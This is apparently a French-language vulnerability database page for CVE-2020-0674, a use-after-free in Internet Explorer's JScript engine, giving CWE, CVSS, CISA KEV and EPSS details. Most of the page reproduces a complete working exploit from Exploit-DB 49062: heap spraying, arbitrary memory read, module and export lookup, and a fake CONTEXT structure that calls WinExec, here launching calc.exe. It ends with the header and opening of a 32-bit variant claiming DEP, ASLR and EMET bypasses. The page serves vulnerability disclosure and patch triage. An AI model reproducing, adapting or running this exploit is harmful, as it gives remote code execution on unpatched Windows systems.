Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-416 |
Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.1 |
7.5 |
HIGH |
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack ComplexityThis metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User InteractionThis metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. ScopeFormally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.6 |
|
AV:N/AC:H/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2021-11-02 23:00 +00:00
Action attendue : 2022-05-02 22:00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 49062
Date de publication : 2020-11-16 23:00 +00:00
Auteur : maxpl0it
EDB Vérifié : No
# Exploit Title: Microsoft Internet Explorer 11 - Use-After-Free
# Date: 2020-05-07
# Exploit Author: maxpl0it
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx
# Version: IE 8, 9, 10, and 11
# Tested on: Windows 7 (x64)
# CVE : CVE-2020-0674
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" />
<script language="JScript.Compact">
// -------------------------------------------------------------------------------------------------
//
// Credits:
// maxpl0it (@maxpl0it) - Writing the exploit
// Qihoo 360 - Identifying the vulnerability in the wild
//
//
// Vulnerability: Use-After-Free when Array.sort() is called with a comparator function. The two
// arguments are untracked by the garbage collector.
//
// Exploit Description: This exploit was written for 64-bit IE instances.
// However, Enhanced Protected Mode sandboxing could be enabled for IE 10
// and IE 11 because EPM on Windows 7 simply enables x64 and doesn't do
// much else.
// The exploit executes C:\Windows\System32\calc.exe but doesn't implement
// any form of process continuation after execution.
//
// Testing:
// OS tested on: Windows 7
// IE versions tested on:
// 8 (x64 version)
// 9 (x64 version)
// 10 (Either the TabProcGrowth registry key set or Enhanced Protected Mode enabled to use x64)
// 11 (Either the TabProcGrowth registry key set or Enhanced Protected Mode enabled to use x64)
//
// Further notes:
// Video at https://twitter.com/maxpl0it/status/1253396942048104448
//
// The debug is better viewed in the console. Open Developer Tools and enable debug below.
//
// This is the non-EMET-bypassing version and only handles the stack pivot check and EAF.
//
// If you receive the error "Couldn't rewrite variable", verify that this is 64-bit IE and not a
// 32-bit process (iexplorer.exe and not iexplorer.exe *32)
//
// ------------------------------------------------------------------------------------------------------
// write_debug: Used to show debugging output.
function write_debug(str_to_write) {
if(debug) { // Switch is below
try{
console.log(str_to_write); // In IE, console only works if devtools is open.
} catch(e) {
try {
alert(str_to_write); // A lot of popups but provides information.
} catch(e) {
// Otherwise, nothing.
}
}
}
}
// Globals
var depth; // Used to track the depth of the recursion for the exploit function.
var spray; // Used to spray objects and fill GcBlocks.
var overlay; // Used to hold objects that will eventually contain properties that will reallocate freed GcBlocks.
var overlay_backup; // Used to make sure that the overlay objects still have a reference after the exploit is done. Otherwise they would be freed and reallocated.
var variants; // A string that contains a bunch of fake VAR structures. This is the property name that will cause the freed GcBlock to be reallocated.
var total; // Used to hold the untracked variable pointers for the use-after-free.
var leak_lower; // Holds the least significant DWORD of the 'next VVAL' pointer leak.
var leak_offset; // Since we don't want to free all overlay variables, this value will be used to identify which property we have got a pointer for so only this will be freed and reallocated later.
var leak_verify_var; // Used to verify that the rewrite worked. If the overlay cannot be freed and reallocated, then the exploit will not work.
var fakeobj_var; // Points at the property name string in the final VVAL. When the property name changes, a fake VAR is constructed in the name string and will change this fakeobj_var's type and object pointer values.
var trigger_obj; // Will contain the fake object and vftable.
var context; // Will store the context structure for NtContinue.
var padding = "AAAAAAAAAAA"; // Padding aligns so that the property with the manipulated hash will end up on top of an untracked var.
var leak = "\u0005"; // This manipulates the hash of the VVAL.
var leaked_var = "A"; // The final object property name. Needs to be created so that the 'next VVAL' pointer of the manipulated hash VVAL is filled.
var spray_size = 20000; // The size of the spray array.
var overlay_size = 20000; // The size of the overlay array.
var pad_size = 3000; // The size of padding for the trigger object. This padding adds additional space for functions like WinExec() to add their stack frames and the stack frames of the functions they call.
var sort = new Array(); // The array to be sorted with the vulnerable function.
var lfh = new Array(); // An array used to trigger lfh.
var debug = false; // Whether write_debug will do anything.
var command = "\u3a43\u575c\u6e69\u6f64\u7377\u535c\u7379\u6574\u336d\u5c32\u6163\u636c\u652e\u6578"; // The command to be executed. In this case it's "C:\Windows\System32\calc.exe"
// Setup - fills the sort array with arrays to be sorted. Done first to avoid the stack setup getting messed up.
for(i = 0; i < 310; i++) sort[i] = [0, 0];
// lfh_trigger: Used to trigger LFH for a particular size.
function lfh_trigger() {
for(i = 0; i < 50; i++) {
tmp = new Object();
tmp[Array(570).join('A')] = 1;
lfh.push(tmp);
}
}
// reset: Resets the objects used in the function initial_exploit so it could be used again.
function reset() {
depth = 0;
spray = new Array();
overlay = new Array();
total = new Array();
for(i = 0; i < overlay_size; i++) overlay[i] = new Object(); // Overlay must happen before spray
for(i = 0; i < spray_size; i++) spray[i] = new Object();
CollectGarbage();
}
// make_variant: Creates a fake VAR in a string.
function make_variant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) {
var charCodes = new Array();
charCodes.push(
// type
type, 0, 0, 0,
// obj_ptr
obj_ptr_lower & 0xffff, (obj_ptr_lower >> 16) & 0xffff, obj_ptr_upper & 0xffff, (obj_ptr_upper >> 16) & 0xffff,
// next_ptr
next_ptr_lower & 0xffff, (next_ptr_lower >> 16) & 0xffff, next_ptr_upper & 0xffff, (next_ptr_upper >> 16) & 0xffff
);
return String.fromCharCode.apply(null, charCodes);
}
// set_variants: A wrapper for make_variant that allocates and pads the property names to align the fake VARs correctly in memory.
function set_variants(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) {
variants = "AAAAAAAA";
for(i=0; i < 46; i++) {
variants += make_variant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper);
}
variants += "AAAAAAAAA";
}
// initial_exploit: The main exploit function.
function initial_exploit(untracked_1, untracked_2) {
untracked_1 = spray[depth*2];
untracked_2 = spray[depth*2 + 1];
if(depth > 150) {
spray = new Array(); // Erase spray
CollectGarbage(); // Add to free
for(i = 0; i < overlay_size; i++) {
overlay[i][variants] = 1;
overlay[i][padding] = 1;
overlay[i][leak] = 1;
overlay[i][leaked_var] = i; // Used to identify which leak is being used
}
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
// Set pointers
depth += 1;
sort[depth].sort(initial_exploit);
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
// rewrite: Frees the correct overlay object and reallocate over it as to replace the object at the leaked 'next property' pointer.
function rewrite(v, i){
CollectGarbage(); // Get rid of anything lingering that might screw up the exploit
overlay_backup[leak_offset] = null; // Erase the object to be replaced
CollectGarbage(); // Clear leak
overlay_backup[leak_offset] = new Object(); // New object - Might end up in the same slot as the last object
overlay_backup[leak_offset][variants] = 1; // Re-allocate the newly freed location (Take up the original GcBlock location again)
overlay_backup[leak_offset][padding] = 1; // Add padding to align the hash with the type to leak the 'next property' pointer
overlay_backup[leak_offset][leak] = 1; // The hash-manipulating property
overlay_backup[leak_offset][v] = i; // sets the property name and the initial VAR
}
// read_pointer: Rewrites the property and changes the fakeobj_var variable to a string at a specified location. This sets up the read primitive.
function read_pointer(addr_lower, addr_higher, o) {
rewrite(make_variant(8, addr_lower, addr_higher), o);
}
// read_byte: Reads the byte at the address using the length of the BSTR.
function read_byte(addr_lower, addr_higher, o) {
read_pointer(addr_lower + 2, addr_higher, o); // Use the length. However, when the length is found, it is divided by 2 (BSTR_LENGTH >> 1) so changing this offset allows us to read a byte properly.
return (fakeobj_var.length >> 15) & 0xff; // Shift to align and get the byte.
}
// read_word: Reads the WORD (2 bytes) at the specified address.
function read_word(addr_lower, addr_higher, o) {
read_pointer(addr_lower + 2, addr_higher, o);
return ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
}
// read_dword: Reads the DWORD (4 bytes) at the specified address.
function read_dword(addr_lower, addr_higher, o) {
read_pointer(addr_lower + 2, addr_higher, o);
lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
read_pointer(addr_lower + 4, addr_higher, o);
upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
return lower + (upper << 16);
}
// read_qword: Reads the QWORD (8 bytes) at the specified address.
function read_qword(addr_lower, addr_higher, o) {
// Lower
read_pointer(addr_lower + 2, addr_higher, o);
lower_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
read_pointer(addr_lower + 4, addr_higher, o);
lower_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
// Upper
read_pointer(addr_lower + 6, addr_higher, o);
upper_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
read_pointer(addr_lower + 8, addr_higher, o);
upper_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
return {'lower': lower_lower + (lower_upper << 16), 'upper': upper_lower + (upper_upper << 16)};
}
// test_read: Used to test whether the arbitrary read works. leak_lower + 64 points to the fakeobj_var location (property name string). The byte at this address is therefore expected to be 8 (String VAR type).
function test_read() {
if(read_byte(leak_lower + 64) != 8) {
throw Error("Arbitrary read failed.");
}
}
// test_fakeobj: Used to test whether fakeoj_var responds as expected when the type and value is changed.
function test_fakeobj() {
rewrite(make_variant(3, 23));
if(fakeobj_var + "" != 23) { // Turning it to a string causes the conversion to copy, dereferencing the 0x80 type. Type 0x80 being used directly won't work.
throw Error("Couldn't re-write fakeobj variable");
}
}
// test_rewrite: Used to test whether the VAR in the VVAL leaked address changes as expected.
function test_rewrite() {
rewrite(leaked_var, 23);
if(leak_verify_var + "" != 23) {
throw Error("Couldn't re-write variable");
}
}
// addrof: The 'address-of' primitive. Changes the VAR at the start of the VVAL to point to a given object and changes the fakeobj_var string to point to the object pointer of this VAR, thus allowing the address to be read.
function addrof(o) {
var_addr = read_dword(leak_lower + 8, 0, o); // Dereference the first VAR
return read_dword(var_addr + 8, 0, 1); // Get the Object pointer of the second VAR
}
// find_module_base: Finds the base of a module from a leaked pointer. Works by zeroing the least significant 16 bits of the address and subtracting 0x10000 until the DOS stub code is found at a specified offset.
function find_module_base(ptr) {
ptr.lower = (ptr.lower & 0xFFFF0000) + 0x4e; // Set to starting search point
while(true) {
if(read_dword(ptr.lower, ptr.upper) == 0x73696854) { // The string 'This'
write_debug("[+] Found module base!");
ptr.lower -= 0x4e; // Subtract the offset to get the base
return ptr;
}
ptr.lower -= 0x10000;
}
}
// leak_jscript_base: Gets the base of the jscript module by creating a new object, following the object pointers until the vftable is found, and then using the vftable leak to identify the base of jscript.dll.
function leak_jscript_base() {
// Create an object to leak vftable
obj = new Object();
// Get address of the object pointer
obj_ptr_addr = addrof(obj);
write_debug("[+] Object ptr at 0x" + obj_ptr_addr.toString(16));
// Get address of the vftable
vftable_addr = read_qword(obj_ptr_addr, 0, 1);
write_debug("[+] Vftable at upper 0x" + vftable_addr.upper.toString(16) + " and lower 0x" + vftable_addr.lower.toString(16));
return find_module_base(vftable_addr);
}
// leak_var: Executes the main exploit function in order to leak a 'next property' pointer.
function leak_var() {
reset();
variants = Array(570).join('A'); // Create the variants
sort[depth].sort(initial_exploit); // Exploit
overlay_backup = overlay; // Prevent it from being freed and losing our leaked pointer
leak_lower = undefined;
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number" && total[i] % 1 != 0) {
leak_lower = (total[i] / 4.9406564584124654E-324); // This division just converts the float into an easy-to-read 32-bit number
break;
}
}
}
// get_rewrite_offset: Executes the main exploit function again in order to create a number of fake VARs that point to the leaked location. This means that the object pointer can be read and the exact offset of the leaked property in the overlay array can be identified.
function get_rewrite_offset() {
reset();
set_variants(0x80, leak_lower); // Find the number of the object
sort[depth].sort(initial_exploit); // Exploit
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number") {
leak_offset = parseInt(total[i] + "");
leak_verify_var = total[i];
break;
}
}
}
// get_fakeobj: Identifies the fakeobj_var.
function get_fakeobj() {
rewrite(make_variant(3, 1234)); // Turn the name of the property into a variant
reset();
set_variants(0x80, leak_lower + 64); // Create a fake VAR pointing to the name of the property
sort[depth].sort(initial_exploit); // Exploit
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number") {
if(total[i] + "" == 1234) {
fakeobj_var = total[i];
break;
}
}
}
}
// leak_module: Used to leak a pointer for a given module that is imported by another module by traversing the PE structure in-memory.
function leak_module(base, target_name_lower, target_name_upper) {
// Get IMAGE_NT_HEADERS pointer
module_lower = base.lower + 0x3c; // PE Header offset location
module_upper = base.upper;
file_addr = read_dword(module_lower, module_upper, 1);
write_debug("[+] PE Header offset = 0x" + file_addr.toString(16));
// Get imports
module_lower = base.lower + file_addr + 0x90; // Import Directory offset location
import_dir = read_dword(module_lower, module_upper, 1);
write_debug("[+] Import offset = 0x" + import_dir.toString(16));
// Get import size
module_lower = base.lower + file_addr + 0x94; // Import Directory offset location
import_size = read_dword(module_lower, module_upper, 1);
write_debug("[+] Size of imports = 0x" + import_size.toString(16));
// Find module
module_lower = base.lower + import_dir;
while(import_size != 0) {
name_ptr = read_dword(module_lower + 0xc, module_upper, 1); // 0xc is the offset to the module name pointer
if(name_ptr == 0) {
throw Error("Couldn't find the target module name");
}
name_lower = read_dword(base.lower + name_ptr, base.upper);
name_upper = read_dword(base.lower + name_ptr + 4, base.upper);
if(name_lower == target_name_lower && name_upper == target_name_upper) {
write_debug("[+] Found the module! Leaking a random module pointer...");
iat = read_dword(module_lower + 0x10, module_upper); // Import Address Table
leaked_address = read_qword(base.lower + iat + 8, base.upper); // +8 since __imp___C_specific_handler can cause issues when imported in some jscript instances
write_debug("[+] Leaked address at upper 0x" + leaked_address.upper.toString(16) + " and lower 0x" + leaked_address.lower.toString(16));
return leaked_address;
}
import_size -= 0x14; // The size of each entry
module_lower += 0x14; // Increase entry pointer
}
}
// leak_export: Finds the location of a given exported function in a module. Works using binary search in order to speed it up. Assumes that the export name order is alphabetical.
function leak_export(base, target_name_first, target_name_second, target_name_third, target_name_fourth) {
// Get IMAGE_NT_HEADERS pointer
module_lower = base.lower + 0x3c; // PE Header offset location
module_upper = base.upper;
file_addr = read_dword(module_lower, module_upper, 1);
write_debug("[+] PE Header offset at 0x" + file_addr.toString(16));
// Get exports
module_lower = base.lower + file_addr + 0x88; // Export Directory offset location
export_dir = read_dword(module_lower, module_upper, 1);
write_debug("[+] Export offset at 0x" + import_dir.toString(16));
// Get the number of exports
module_lower = base.lower + export_dir + 0x14; // Number of items offset
export_num = read_dword(module_lower, module_upper, 1);
write_debug("[+] Export count is " + export_num);
// Get the address offset
module_lower = base.lower + export_dir + 0x1c; // Address offset
addresses = read_dword(module_lower, module_upper, 1);
write_debug("[+] Export address offset at 0x" + addresses.toString(16));
// Get the names offset
module_lower = base.lower + export_dir + 0x20; // Names offset
names = read_dword(module_lower, module_upper, 1);
write_debug("[+] Export names offset at 0x" + names.toString(16));
// Get the ordinals offset
module_lower = base.lower + export_dir + 0x24; // Ordinals offset
ordinals = read_dword(module_lower, module_upper, 1);
write_debug("[+] Export ordinals offset at 0x" + ordinals.toString(16));
// Binary search because linear search is too slow
upper_limit = export_num; // Largest number in search space
lower_limit = 0; // Smallest number in search space
num_pointer = Math.floor(export_num/2);
module_lower = base.lower + names;
search_complete = false;
while(!search_complete) {
module_lower = base.lower + names + 4*num_pointer; // Point to the name string offset
function_str_offset = read_dword(module_lower, module_upper, 0); // Get the offset to the name string
module_lower = base.lower + function_str_offset; // Point to the string
function_str_lower = read_dword(module_lower, module_upper, 0); // Get the first 4 bytes of the string
res = compare_nums(target_name_first, function_str_lower);
if(!res && target_name_second) {
function_str_second = read_dword(module_lower + 4, module_upper, 0); // Get the next 4 bytes of the string
res = compare_nums(target_name_second, function_str_second);
if(!res && target_name_third) {
function_str_third = read_dword(module_lower + 8, module_upper, 0); // Get the next 4 bytes of the string
res = compare_nums(target_name_third, function_str_third);
if(!res && target_name_fourth) {
function_str_fourth = read_dword(module_lower + 12, module_upper, 0); // Get the next 4 bytes of the string
res = compare_nums(target_name_fourth, function_str_fourth);
}
}
}
if(!res) { // equal
module_lower = base.lower + ordinals + 2*num_pointer;
ordinal = read_word(module_lower, module_upper, 0);
module_lower = base.lower + addresses + 4*ordinal;
function_offset = read_dword(module_lower, module_upper, 0);
write_debug("[+] Found target export at offset 0x" + function_offset.toString(16));
return {'lower': base.lower + function_offset, 'upper': base.upper};
} if(res == 1) {
if(upper_limit == num_pointer) {
throw Error("Failed to find the target export.");
}
upper_limit = num_pointer;
num_pointer = Math.floor((num_pointer + lower_limit) / 2);
} else {
if(lower_limit == num_pointer) {
throw Error("Failed to find the target export.");
}
lower_limit = num_pointer;
num_pointer = Math.floor((num_pointer + upper_limit) / 2);
}
if(num_pointer == upper_limit && num_pointer == lower_limit) {
throw Error("Failed to find the target export.");
}
}
throw Error("Failed to find matching export.");
}
// compare_nums: Compares two numbers that represent 4-byte strings for equality. If not, it detects which character is larger or smaller.
function compare_nums(target, current) { // return -1 for target being greater, 0 for equal, 1 for current being greater
write_debug("[*] Comparing 0x" + target.toString(16) + " and 0x" + current.toString(16));
if(target == current) {
write_debug("[+] Equal!");
return 0;
}
while(target != 0 && current != 0) {
if((target & 0xff) > (current & 0xff)) {
return -1;
} else if((target & 0xff) < (current & 0xff)) {
return 1;
}
target = target >> 8;
current = current >> 8;
}
}
// generate_gadget_string: Takes a gadget address and creates a string from it.
function generate_gadget_string(gadget) {
return String.fromCharCode.apply(null, [gadget.lower & 0xffff, (gadget.lower >> 16) & 0xffff, gadget.upper & 0xffff, (gadget.upper >> 16) & 0xffff]);
}
// generate_obj_vftable: Creates a fake object with a fake vftable containing a few ROP gadgets.
function generate_obj_vftable(initial_jmp) {
trigger_obj = Array(pad_size + 1).join('A'); // Adds lots of stack space to either side to prevent msvcrt.dll crashing
trigger_obj = trigger_obj + Array(157).join('A') + generate_gadget_string(initial_jmp);
trigger_obj = trigger_obj.substr(0, trigger_obj.length);
trigger_addr = string_addr(trigger_obj);
write_debug("[+] Trigger object at 0x" + trigger_addr.upper.toString(16) + " 0x" + trigger_addr.lower.toString(16));
return trigger_addr;
}
// generate_context: Creates a partial fake CONTEXT structure to use with NtContinue. P1Home and P2Home are missing because this structure is a part of the fake object. This means that no stack pivot is needed for execution of this exploit. The leaked stack pointer is also used to protect against stack pivot detection.
function generate_context(command_address, leaked_stack_ptr, kernel32_winexec_export) {
return "\u0000\u0000\u0000\u0000" + // P3Home
"\u0000\u0000\u0000\u0000" + // P4Home
"\u0000\u0000\u0000\u0000" + // P5Home
"\u0000\u0000\u0000\u0000" + // P6Home
"\u0003\u0010" + // ContextFlags
"\u0000\u0000" + // MxCsr
"\u0033" + // SegCs
"\u0000" + // SegDs
"\u0000" + // SegEs
"\u0000" + // SegFs
"\u0000" + // SegGs
"\u002b" + // SegSs
"\u0246\u0000" + // EFlags
"\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too!
"\u0000\u0000\u0000\u0000" + // Dr1
"\u0000\u0000\u0000\u0000" + // Dr2
"\u0000\u0000\u0000\u0000" + // Dr3
"\u0000\u0000\u0000\u0000" + // Dr6
"\u0000\u0000\u0000\u0000" + // Dr7
"\u0000\u0000\u0000\u0000" + // Rax
generate_gadget_string(command_address) + // Rcx - Command pointer
"\u0000\u0000\u0000\u0000" + // Rdx - SW_HIDE
"\u0000\u0000\u0000\u0000" + // Rbx
generate_gadget_string(leaked_stack_ptr) + // Rsp - Leaked Stack pointer
"\u0000\u0000\u0000\u0000" + // Rbp
"\u0000\u0000\u0000\u0000" + // Rsi
"\u0000\u0000\u0000\u0000" + // Rdi
"\u0040\u0000\u0000\u0000" + // R8
"\u0000\u0000\u0000\u0000" + // R9
"\u0000\u0000\u0000\u0000" + // R10
"\u0000\u0000\u0000\u0000" + // R11
"\u0000\u0000\u0000\u0000" + // R12
"\u0000\u0000\u0000\u0000" + // R13
"\u0000\u0000\u0000\u0000" + // R14
"\u0000\u0000\u0000\u0000" + // R15
generate_gadget_string(kernel32_winexec_export); // Rip - WinExec() call
}
// trigger_exec: Triggers code execution by creating a fake VAR of type 0x81, setting it's vftable to the payload, and causing execution by using typeof.
function trigger_exec(obj_addr, command_address, leaked_stack_ptr, kernel32_winexec_export) {
rewrite(make_variant(0x81, leak_lower + 96, 0) + make_variant(0, obj_addr.lower + 2 * (pad_size), 0) + generate_context(command_address, leaked_stack_ptr, kernel32_winexec_export));
write_debug("[*] About to trigger...");
typeof fakeobj_var;
}
// leak_stack_ptr: Leaks a stack pointer in order to avoid stack pivot detection in the CONTEXT structure.
function leak_stack_ptr() {
leak_obj = new Object(); // Create an object
obj_addr = addrof(leak_obj); // Get address
csession_addr = read_dword(obj_addr + 24, 0, 1); // Get CSession from offset 24
stack_addr_lower = read_dword(csession_addr + 80, 0, 1); // Get the lower half of the stack pointer from offset 80
stack_addr_upper = read_dword(csession_addr + 84, 0, 1); // Get the upper half of the stack pointer from offset 84
return {'lower': stack_addr_lower, 'upper': stack_addr_upper};
}
// string_addr: Gets the address of a string in an object that can be used in a chain.
function string_addr(string_to_get) {
return {'lower': addrof(string_to_get), 'upper': 0};
}
// main: The entire exploit.
function main(){
// Setup functions
lfh_trigger(); // Trigger LFH - May or may not make the exploit more reliable, but can't hurt
// Leak VAR
leak_var();
// Identify offset for reliable rewrite
get_rewrite_offset();
// Test rewrite
test_rewrite();
// Create a fake VAR
get_fakeobj();
// Test fakeobj rewrite
test_fakeobj();
// Output results so far
write_debug("[+] Leaked address 0x" + leak_lower.toString(16) + " is at offset " + leak_offset);
// Test read
test_read();
// Get the module base for jscript
jscript_base = leak_jscript_base();
// Get the msvcrt base by following the jscript import table
mscvcrt_leak = leak_module(jscript_base, 0x6376736d, 0x642e7472);
msvcrt_base = find_module_base(mscvcrt_leak);
write_debug("[+] Found msvcrt base at 0x" + msvcrt_base.upper.toString(16) + " 0x" + msvcrt_base.lower.toString(16));
// Get the ntdll base by following the msvcrt import table
ntdll_leak = leak_module(msvcrt_base, 0x6c64746e, 0x6c642e6c);
ntdll_base = find_module_base(ntdll_leak);
write_debug("[+] Found ntdll at 0x" + ntdll_base.upper.toString(16) + " 0x" + ntdll_base.lower.toString(16));
// Get the kernel32 base by following the jscript import table
kernel32_leak = leak_module(jscript_base, 0x4e52454b, 0x32334c45);
kernel32_base = find_module_base(kernel32_leak);
write_debug("[+] Found kernel32 at 0x" + kernel32_base.upper.toString(16) + " 0x" + kernel32_base.lower.toString(16));
// Find the WinExec function address from kernel32
kernel32_winexec_export = leak_export(kernel32_base, 0x456e6957, 0, 0, 0);
write_debug("[+] Found WinExec at 0x" + kernel32_winexec_export.upper.toString(16) + " 0x" + kernel32_winexec_export.lower.toString(16));
// Find the NtContinue function address from ntdll
ntdll_ntcontinue_export = leak_export(ntdll_base, 0x6f43744e, 0x6e69746e, 0, 0);
write_debug("[+] Found NtContinue at 0x" + ntdll_ntcontinue_export.upper.toString(16) + " 0x" + ntdll_ntcontinue_export.lower.toString(16));
// Get the address of the command to be executed
command_address = string_addr(command);
// Leak the stack pointer
leaked_stack_ptr = leak_stack_ptr();
// Create fake object and vftable
obj_addr = generate_obj_vftable(ntdll_ntcontinue_export);
// Generate context and trigger code execution
trigger_exec(obj_addr, command_address, leaked_stack_ptr, kernel32_winexec_export);
}
// Call main()
main();
</script>
</head>
</html>
Exploit Database EDB-ID : 49541
Date de publication : 2021-02-07 23:00 +00:00
Auteur : Forrest Orr
EDB Vérifié : No
# Exploit Title: Microsoft Internet Explorer 11 32-bit - Use-After-Free
# Date: 2021-02-05
# Exploit Author: deadlock (Forrest Orr)
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx
# Version: IE 8, 9, 10, and 11
# Tested on: Windows 7 x64 and Windows 7 x86
# CVE: CVE-2020-0674
# Bypasses: DEP, ASLR, EMET 5.5 (EAF, EAF+, stack pivot protection, SimExec, CallerCheck)
# Original (64-bit) exploit credits: maxpl0it
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" />
<script language="JScript.Compact">
/*
___ _ _ ___ ___ __ ___ __ __ ___ ___ _ _
/ _/| \ / || __|(_ / (_ / \ __ / \ / __|_ | || |
| \__`\ V /'| _|__/ / // / / // |__| // | ,_ \/ /`._ _|
\__/ \_/ |___||___\__/___\__/ \__/ \___/_/ |_|
Overview
This is a 32-bit re-creation of CVE-2020-067, a vulnerability in the legacy
Javascript engine (jscript.dll) in Windows. It was used in historic versions
of Internet Explorer but its load/usage can still be coerced (and thus exploited)
in all versions of IE up to 11.
A high quality description of this exploit can be found on F-Secure's blog at:
https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer/
The original public 64-bit variation of this exploit was written by maxspl0it
and can be found at https://github.com/maxpl0it/CVE-2020-0674-Exploit
